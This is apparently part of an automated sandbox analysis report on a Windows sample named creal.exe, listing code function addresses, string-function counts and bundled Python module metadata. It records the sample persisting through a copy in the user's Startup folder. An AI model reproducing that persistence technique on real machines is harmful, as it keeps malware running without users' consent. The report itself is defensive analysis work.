Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CFE11C	26_2_00007FF7C3CFE11C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3D0A0F8	26_2_00007FF7C3D0A0F8
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CE90D0	26_2_00007FF7C3CE90D0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CF7F4C	26_2_00007FF7C3CF7F4C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CF6030	26_2_00007FF7C3CF6030
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3D0481C	26_2_00007FF7C3D0481C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3D01038	26_2_00007FF7C3D01038
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3D01FE4	26_2_00007FF7C3D01FE4
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CF37E0	26_2_00007FF7C3CF37E0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CF87D0	26_2_00007FF7C3CF87D0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CF1F94	26_2_00007FF7C3CF1F94
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CE1F50	26_2_00007FF7C3CE1F50
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3D066EC	26_2_00007FF7C3D066EC
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3D06E70	26_2_00007FF7C3D06E70
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CF2E50	26_2_00007FF7C3CF2E50
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CFE5B0	26_2_00007FF7C3CFE5B0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CF7D98	26_2_00007FF7C3CF7D98
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CF1D90	26_2_00007FF7C3CF1D90
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CFA530	26_2_00007FF7C3CFA530
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5991630	28_2_00007FF8E5991630
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5989060	28_2_00007FF8E5989060
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5989AB0	28_2_00007FF8E5989AB0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59F2BB0	28_2_00007FF8E59F2BB0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59866F0	28_2_00007FF8E59866F0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5A176C0	28_2_00007FF8E5A176C0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5979640	28_2_00007FF8E5979640
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5A185B0	28_2_00007FF8E5A185B0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59E2580	28_2_00007FF8E59E2580
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59B4590	28_2_00007FF8E59B4590
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5A135D0	28_2_00007FF8E5A135D0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E599C530	28_2_00007FF8E599C530
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59CB530	28_2_00007FF8E59CB530
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5974510	28_2_00007FF8E5974510
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59E58A0	28_2_00007FF8E59E58A0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5A1E8E0	28_2_00007FF8E5A1E8E0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E597282E	28_2_00007FF8E597282E
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E598C800	28_2_00007FF8E598C800
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5A1C870	28_2_00007FF8E5A1C870
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5A127A0	28_2_00007FF8E5A127A0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59A0790	28_2_00007FF8E59A0790
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E599D7C0	28_2_00007FF8E599D7C0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59777C4	28_2_00007FF8E59777C4
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59747C0	28_2_00007FF8E59747C0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59BF7D0	28_2_00007FF8E59BF7D0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5A14750	28_2_00007FF8E5A14750
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5A0A280	28_2_00007FF8E5A0A280
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5973295	28_2_00007FF8E5973295
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59962F0	28_2_00007FF8E59962F0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59972D0	28_2_00007FF8E59972D0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59D11D0	28_2_00007FF8E59D11D0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59DA110	28_2_00007FF8E59DA110
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59774B1	28_2_00007FF8E59774B1
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59CA490	28_2_00007FF8E59CA490
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5983490	28_2_00007FF8E5983490
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E599E4D0	28_2_00007FF8E599E4D0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59D33B0	28_2_00007FF8E59D33B0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5A14330	28_2_00007FF8E5A14330
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5A05EF0	28_2_00007FF8E5A05EF0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59DAE70	28_2_00007FF8E59DAE70
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59BDDA0	28_2_00007FF8E59BDDA0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E597BDA0	28_2_00007FF8E597BDA0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59C9D80	28_2_00007FF8E59C9D80
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5A0FD80	28_2_00007FF8E5A0FD80
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E598CDE0	28_2_00007FF8E598CDE0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5A220B0	28_2_00007FF8E5A220B0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59740B0	28_2_00007FF8E59740B0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5A310E0	28_2_00007FF8E5A310E0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5977030	28_2_00007FF8E5977030
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59B9010	28_2_00007FF8E59B9010
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59EB060	28_2_00007FF8E59EB060
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5981060	28_2_00007FF8E5981060
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E598BFA0	28_2_00007FF8E598BFA0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59CEFB0	28_2_00007FF8E59CEFB0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E599CFE0	28_2_00007FF8E599CFE0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5A19FE0	28_2_00007FF8E5A19FE0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5987F60	28_2_00007FF8E5987F60
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59D5A40	28_2_00007FF8E59D5A40
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59E099B	28_2_00007FF8E59E099B
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5993980	28_2_00007FF8E5993980
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59BE990	28_2_00007FF8E59BE990
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59A5960	28_2_00007FF8E59A5960
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E597A940	28_2_00007FF8E597A940
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5998CB0	28_2_00007FF8E5998CB0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5979C80	28_2_00007FF8E5979C80
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E597FC70	28_2_00007FF8E597FC70
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59B3BA0	28_2_00007FF8E59B3BA0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59ABB91	28_2_00007FF8E59ABB91
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5973BC0	28_2_00007FF8E5973BC0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5A05B00	28_2_00007FF8E5A05B00
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59B6B40	28_2_00007FF8E59B6B40
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5AE18A0	28_2_00007FF8E5AE18A0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5AE12F0	28_2_00007FF8E5AE12F0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F3F32430	28_2_00007FF8F3F32430
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F3F31FD0	28_2_00007FF8F3F31FD0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F6FA4820	28_2_00007FF8F6FA4820
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F6FA45D0	28_2_00007FF8F6FA45D0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F7A024A0	28_2_00007FF8F7A024A0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F7A01D80	28_2_00007FF8F7A01D80
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F7A01FF0	28_2_00007FF8F7A01FF0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F7A029C0	28_2_00007FF8F7A029C0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F7A02EC0	28_2_00007FF8F7A02EC0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F7A03550	28_2_00007FF8F7A03550
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F7A92110	28_2_00007FF8F7A92110
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F7A91D40	28_2_00007FF8F7A91D40
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F7AA1F10	28_2_00007FF8F7AA1F10
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F7AA21C0	28_2_00007FF8F7AA21C0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8301FA0	28_2_00007FF8F8301FA0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F83A7C38	28_2_00007FF8F83A7C38
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F83D0980	28_2_00007FF8F83D0980
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F83CC480	28_2_00007FF8F83CC480
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8401000	28_2_00007FF8F8401000
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84018E0	28_2_00007FF8F84018E0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84012B0	28_2_00007FF8F84012B0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8427FC9	28_2_00007FF8F8427FC9
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8427BF0	28_2_00007FF8F8427BF0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84D5DC0	28_2_00007FF8F84D5DC0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84DD960	28_2_00007FF8F84DD960
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84D99A0	28_2_00007FF8F84D99A0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491FE6	28_2_00007FF8F8491FE6
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84BBD80	28_2_00007FF8F84BBD80
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84DDE30	28_2_00007FF8F84DDE30
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491541	28_2_00007FF8F8491541
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491591	28_2_00007FF8F8491591
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84921F3	28_2_00007FF8F84921F3
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F849149C	28_2_00007FF8F849149C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84924EB	28_2_00007FF8F84924EB
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84C8AA0	28_2_00007FF8F84C8AA0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491A0F	28_2_00007FF8F8491A0F
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84916FE	28_2_00007FF8F84916FE
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8498BE0	28_2_00007FF8F8498BE0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84FCDA0	28_2_00007FF8F84FCDA0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F849143D	28_2_00007FF8F849143D
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8FF5B32E0	28_2_00007FF8FF5B32E0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8FF5B39F0	28_2_00007FF8FF5B39F0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8FF5B2ED0	28_2_00007FF8FF5B2ED0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8FF5B27A0	28_2_00007FF8FF5B27A0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8FF5C530C	28_2_00007FF8FF5C530C

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: String function: 00007FF8E597A550 appears 165 times
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: String function: 00007FF8F83C3880 appears 114 times
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: String function: 00007FF8F850CD8F appears 129 times
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: String function: 00007FF7C3CE2B30 appears 47 times
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: String function: 00007FF8E59794B0 appears 134 times
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: String function: 00007FF8F849132A appears 235 times
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: String function: 00007FF8F850D551 appears 31 times
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: String function: 00007FF8F83C3800 appears 51 times
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: String function: 00007FF8F850CDA1 appears 544 times
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: String function: 00007FF8E59A0F90 appears 34 times
Source: C:\Users\user\Desktop\creal.exe	Code function: String function: 00007FF8E68BA550 appears 165 times
Source: C:\Users\user\Desktop\creal.exe	Code function: String function: 00007FF8E7143800 appears 51 times
Source: C:\Users\user\Desktop\creal.exe	Code function: String function: 00007FF8E724CD8F appears 114 times
Source: C:\Users\user\Desktop\creal.exe	Code function: String function: 00007FF67A602B30 appears 47 times
Source: C:\Users\user\Desktop\creal.exe	Code function: String function: 00007FF8E71D132A appears 121 times
Source: C:\Users\user\Desktop\creal.exe	Code function: String function: 00007FF8E7143880 appears 114 times
Source: C:\Users\user\Desktop\creal.exe	Code function: String function: 00007FF8E68B94B0 appears 134 times
Source: C:\Users\user\Desktop\creal.exe	Code function: String function: 00007FF8E724CDA1 appears 333 times
Source: C:\Users\user\Desktop\creal.exe	Code function: String function: 00007FF8E68E0F90 appears 34 times

Source: _overlapped.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _overlapped.pyd.26.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.26.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: python3.dll.0.dr	Static PE information: No import functions for PE file found
Source: python3.dll.26.dr	Static PE information: No import functions for PE file found

Source: creal.exe, 00000000.00000003.1372380110.0000018FDF26A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_asyncio.pyd. vs creal.exe
Source: creal.exe, 00000000.00000003.1372812589.0000018FDF26A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs creal.exe
Source: creal.exe, 00000000.00000003.1594425280.0000018FDF277000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewin32api.pyd0 vs creal.exe
Source: creal.exe, 00000000.00000003.1372232763.0000018FDF26A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140_1.dllT vs creal.exe
Source: creal.exe, 00000000.00000003.1372510190.0000018FDF26A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs creal.exe
Source: creal.exe, 00000000.00000003.1372993869.0000018FDF26A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs creal.exe
Source: creal.exe, 00000000.00000003.1371953608.0000018FDF26A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs creal.exe
Source: creal.exe	Binary or memory string: OriginalFilename vs creal.exe
Source: creal.exe, 00000002.00000002.1589108872.00007FF8F7AA2000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs creal.exe
Source: creal.exe, 00000002.00000002.1587105693.00007FF8E7E74000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython312.dll. vs creal.exe
Source: creal.exe, 00000002.00000002.1589666269.00007FF8F8306000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs creal.exe
Source: creal.exe, 00000002.00000002.1588087474.00007FF8E8035000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs creal.exe
Source: creal.exe, 00000002.00000002.1574729747.00007FF8E6EF4000.00000002.00000001.01000000.0000002D.sdmp	Binary or memory string: OriginalFilename_uuid.pyd. vs creal.exe
Source: creal.exe, 00000002.00000002.1590725082.00007FF8F8D87000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilename_wmi.pyd. vs creal.exe
Source: creal.exe, 00000002.00000002.1587357559.00007FF8E7FAF000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilename_asyncio.pyd. vs creal.exe
Source: creal.exe, 00000002.00000002.1578958590.00007FF8E701B000.00000002.00000001.01000000.0000001A.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs creal.exe
Source: creal.exe, 00000002.00000002.1589478728.00007FF8F7EC6000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs creal.exe
Source: creal.exe, 00000002.00000002.1589863582.00007FF8F875E000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs creal.exe
Source: creal.exe, 00000002.00000002.1583777527.00007FF8E77C9000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs creal.exe
Source: creal.exe, 00000002.00000002.1579510585.00007FF8E7134000.00000002.00000001.01000000.00000019.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs creal.exe
